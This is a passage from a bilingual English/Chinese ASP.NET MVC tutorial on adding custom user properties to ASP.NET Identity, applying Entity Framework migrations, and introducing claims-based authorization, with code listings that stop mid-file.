the base class defined a basic set of properties to describe the user, such as e-mail address and telephone number. Most applications need to store more information about users, including persistent application preferences and details such as addresses—in short, any data that is useful to running the application and that should last between sessions. In ASP.NET Membership, this was handled through the user profile system, but ASP.NET Identity takes a different approach. 我在第13章创建AppUser类来表示用户时曾做过说明,基类定义了一组描述用户的基本属性,如E-mail地址、电话号码等。大多数应用程序还需要存储用户的更多信息,包括持久化应用程序爱好以及地址等细节——简言之,需要存储对运行应用程序有用并且在各次会话之间应当保持的任何数据。在ASP.NET Membership中,这是通过用户资料(User Profile)系统来处理的,但ASP.NET Identity采取了一种不同的办法。 Because the ASP.NET Identity system uses Entity Framework to store its data by default, defining additional user information is just a matter of adding properties to the user class and letting the Code First feature create the database schema required to store them. Table 15-3 puts custom user properties in context. 因为ASP.NET Identity默认是使用Entity Framework来存储其数据的,定义附加的用户信息只不过是给用户类添加属性的事情,然后让Code First特性去创建需要存储它们的数据库架构即可。表15-3描述了自定义用户属性的情形。 Table 15-3. Putting Cusotm User Properties in Context 表15-3. 自定义用户属性的情形 Question 问题 Answer 回答 What is it? 什么是自定义用户属性? Custom user properties allow you to store additional information about your users, including their preferences and settings. 自定义用户属性让你能够存储附加的用户信息,包括他们的爱好和设置。 Why should I care? 为何要关心它? A persistent store of settings means that the user doesn’t have to provide the same information each time they log in to the application. 设置的持久化存储意味着,用户不必每次登录到应用程序时都提供同样的信息。 How is it used by the MVC framework? 在MVC框架中如何使用它? This feature isn’t used directly by the MVC framework, but it is available for use in action methods. 此特性不是由MVC框架直接使用的,但它在动作方法中使用是有效的。 15.2.1 Defining Custom Properties 15.2.1 定义自定义属性 Listing 15-1 shows how I added a simple property to the AppUser class to represent the city in which the user lives. 清单15-1演示了如何给AppUser类添加一个简单的属性,用以表示用户生活的城市。 Listing 15-1. Adding a Property in the AppUser.cs File 清单15-1. 在AppUser.cs文件中添加属性 using System;using Microsoft.AspNet.Identity.EntityFramework;namespace Users.Models { public enum Cities {LONDON, PARIS, CHICAGO}public class AppUser : IdentityUser {public Cities City { get; set; } }} I have defined an enumeration called Cities that defines values for some large cities and added a property called City to the AppUser class. To allow the user to view and edit their City property, I added actions to the Home controller, as shown in Listing 15-2. 这里定义了一个枚举,名称为Cities,它定义了一些大城市的值,另外给AppUser类添加了一个名称为City的属性。为了让用户能够查看和编辑City属性,给Home控制器添加了几个动作方法,如清单15-2所示。 Listing 15-2. Adding Support for Custom User Properties in the HomeController.cs File 清单15-2. 在HomeController.cs文件中添加对自定义属性的支持 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models;namespace Users.Controllers {public class HomeController : Controller {[Authorize]public ActionResult Index() {return View(GetData("Index"));}[Authorize(Roles = "Users")]public ActionResult OtherAction() {return View("Index", GetData("OtherAction"));}private Dictionary<string, object> GetData(string actionName) {Dictionary<string, object> dict= new Dictionary<string, object>();dict.Add("Action", actionName);dict.Add("User", HttpContext.User.Identity.Name);dict.Add("Authenticated", HttpContext.User.Identity.IsAuthenticated);dict.Add("Auth Type", HttpContext.User.Identity.AuthenticationType);dict.Add("In Users Role", HttpContext.User.IsInRole("Users"));return dict;} [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;await UserManager.UpdateAsync(user);return View(user);}private AppUser CurrentUser {get {return UserManager.FindByName(HttpContext.User.Identity.Name);} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } I added a CurrentUser property that uses the AppUserManager class to retrieve an AppUser instance to represent the current user. I pass the AppUser object as the view model object in the GET version of the UserProps action method, and the POST method uses it to update the value of the new City property. Listing 15-3 shows the UserProps.cshtml view, which displays the City property value and contains a form to change it. 我添加了一个CurrentUser属性,它使用AppUserManager类接收了表示当前用户的AppUser实例。在GET版本的UserProps动作方法中,传递了这个AppUser对象作为视图模型。而在POST版的方法中用它更新了City属性的值。清单15-3显示了UserProps.cshtml视图,它显示了City属性的值,并包含一个修改它的表单。 Listing 15-3. The Contents of the UserProps.cshtml File in the Views/Home Folder 清单15-3. Views/Home文件夹中UserProps.cshtml文件的内容 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";}<div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr></table></div> @using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Caution Don’t start the application when you have created the view. In the sections that follow, I demonstrate how to preserve the contents of the database, and if you start the application now, the ASP.NET Identity users will be deleted. 警告:创建了视图之后不要启动应用程序。在以下小节中,将演示如何保留数据库的内容,如果现在启动应用程序,将会删除ASP.NET Identity的用户。 15.2.2 Preparing for Database Migration 15.2.2 准备数据库迁移 The default behavior for the Entity Framework Code First feature is to drop the tables in the database and re-create them whenever classes that drive the schema have changed. You saw this in Chapter 14 when I added support for roles: When the application was started, the database was reset, and the user accounts were lost. Entity Framework Code First特性的默认行为是,一旦修改了派生数据库架构的类,便会删除数据库中的数据表,并重新创建它们。在第14章可以看到这种情况,在我添加角色支持时:当重启应用程序后,数据库被重置,用户账号也丢失。 Don’t start the application yet, but if you were to do so, you would see a similar effect. Deleting data during development is usually not a problem, but doing so in a production setting is usually disastrous because it deletes all of the real user accounts and causes a panic while the backups are restored. In this section, I am going to demonstrate how to use the database migration feature, which updates a Code First schema in a less brutal manner and preserves the existing data it contains. 不要启动应用程序,但如果你这么做了,会看到类似的效果。在开发期间删除数据没什么问题,但如果在产品设置中这么做了,通常是灾难性的,因为它会删除所有真实的用户账号,而备份恢复是很痛苦的事。在本小节中,我打算演示如何使用数据库迁移特性,它能以比较温和的方式更新Code First的架构,并保留架构中的已有数据。 The first step is to issue the following command in the Visual Studio Package Manager Console: 第一个步骤是在Visual Studio的“Package Manager Console(包管理器控制台)”中发布以下命令: Enable-Migrations –EnableAutomaticMigrations This enables the database migration support and creates a Migrations folder in the Solution Explorer that contains a Configuration.cs class file, the contents of which are shown in Listing 15-4. 它启用了数据库的迁移支持,并在“Solution Explorer(解决方案资源管理器)”创建一个Migrations文件夹,其中含有一个Configuration.cs类文件,内容如清单15-4所示。 Listing 15-4. The Contents of the Configuration.cs File 清单15-4. Configuration.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity;using System.Data.Entity.Migrations;using System.Linq;internal sealed class Configuration: DbMigrationsConfiguration<Users.Infrastructure.AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(Users.Infrastructure.AppIdentityDbContext context) {// This method will be called after migrating to the latest version.// 此方法将在迁移到最新版本时调用// You can use the DbSet<T>.AddOrUpdate() helper extension method// to avoid creating duplicate seed data. E.g.// 例如,你可以使用DbSet<T>.AddOrUpdate()辅助器方法来避免创建重复的种子数据//// context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示:你可能会觉得奇怪,为什么要在管理NuGet包的控制台中输入数据库迁移的命令?答案是“Package Manager Console(包管理控制台)”是真正的PowerShell,这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令,详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构,Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到,我如何用Seed方法为新的City属性设置默认值,City是添加到AppUser类中自定义属性。(为了体现我一贯的编码风格,我对这个类文件也进行了更新。) Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到,添加到Seed方法中的许多代码取自于IdentityDbInit类,在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类,将代替IdentityDbInit类的种植功能,我很快便会更新这个类。除了要确保有admin用户之外,在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句,如下所示: ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法,可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告:在用于真实项目的Seed方法中为属性设置值时要小心,因为你每一次修改架构时,都会运用这些值,这会将自执行上一次架构更新之后,用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时,IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类,和你相像的一样,它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改,以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法,并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ,它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先,在“Package Manager Console(包管理器控制台)”中执行以下命令: Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移(我比较喜欢让迁移的名称反映出我所做的修改)。这会在文件夹中添加一个新的类文件,而且其命名会反映出该命令执行的时间以及迁移名称,例如,我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节,如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时,需要对架构所做的修改,在这个例子中,意味着要在AspNetUsers数据表中添加City数据列,该数据表是ASP.NET Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序,只需在“Package Manager Console(包管理器控制台)”中运行以下命令即可: Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构,并执行Configuration.Seed方法中的代码。已有用户账号会被保留,且增强了City属性(我在Seed方法中已将其设置为“Paris”)。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果,启动应用程序,导航到/Home/UserProps URL,并以Identity中的用户(例如Alice,口令MySecret)进行认证。一旦已被认证,便会看到该用户City属性的当前值,并可以对其进行修改,如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在,已经建立了数据库迁移,我打算再定义一个属性,这恰恰演示了如何处理持续不断的修改,也为了演示Configuration.Seed方法更有用(至少无害)的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举,它定义了国家名称。还添加了一个辅助器方法,它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改,以使Seed方法根据City设置Country属性,但只当Country为NONE时才进行设置(在迁移数据库时,所有用户都是NONE,因为Entity Framework会将枚举列设置为枚举的第一个值)。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用,因为它只会在Country属性未设置时,才会设置Country属性的值——后继的迁移不会受到影响,因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方,则附加属性就无法使用了,因此,清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改,以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性,清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化,这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化,这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console(包管理器控制台)”中输入以下命令: Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件,它含有添加Country数据表列的指令。为了运用迁移,可执行以下命令: Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移,Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序,认证并导航到/Home/UserProps URL,便可以查看新的用户属性,如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示:虽然我们关注了升级数据库的过程,但你也可以回退到以前的版本,只需指定一个早期的迁移即可。使用-Force参数进行修改,会引起数据丢失,例如删除数据表列。 15.3 Working with Claims 15.3 使用声明(Claims) In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中,例如ASP.NET Membership,应用程序被假设成是用户所有信息的权威来源,本质上将应用程序视为是一个封闭的世界,并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法,使人很难认识到这到底意味着什么,第14章你已看到了这种封闭世界技术的例子,根据存储在数据库中的凭据来认证用户,并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性,也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法,这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法,当MVC框架的应用程序不是有关用户的唯一信息源时,这种办法会工作得很好,而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims(声明)”,因此在本小节中,我将描述ASP.NET Identity如何支持“Claims-Based Authorization(基于声明的授权)”。表15-4描述了声明(Claims)的情形。 提示:“Claim”在英文字典中不完全是“声明”的意思,根据本文的描述,感觉把它说成“声明”也不一定合适,所以在之后的译文中基本都写成中英文并用的形式,即“声明(Claims)”。根据表15-4中的声明(Claims)的定义:声明(Claims)是关于用户的一些信息片段。一个用户的信息片段当然有很多,每一个信息片段就是一项声明(Claim),用户的所有信息片段合起来就是该用户的声明(Claims)。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明(Claims)的情形 Question 问题 Answer 答案 What is it? 什么是声明(Claims)? Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明(Claims)是关于用户的一些信息片段,可以用它们做出授权决定。声明(Claims)可以从外部系统获取,也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它? Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明(Claims)可以用来对动作方法进行灵活的授权访问。与传统的角色不同,声明(Claims)让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) 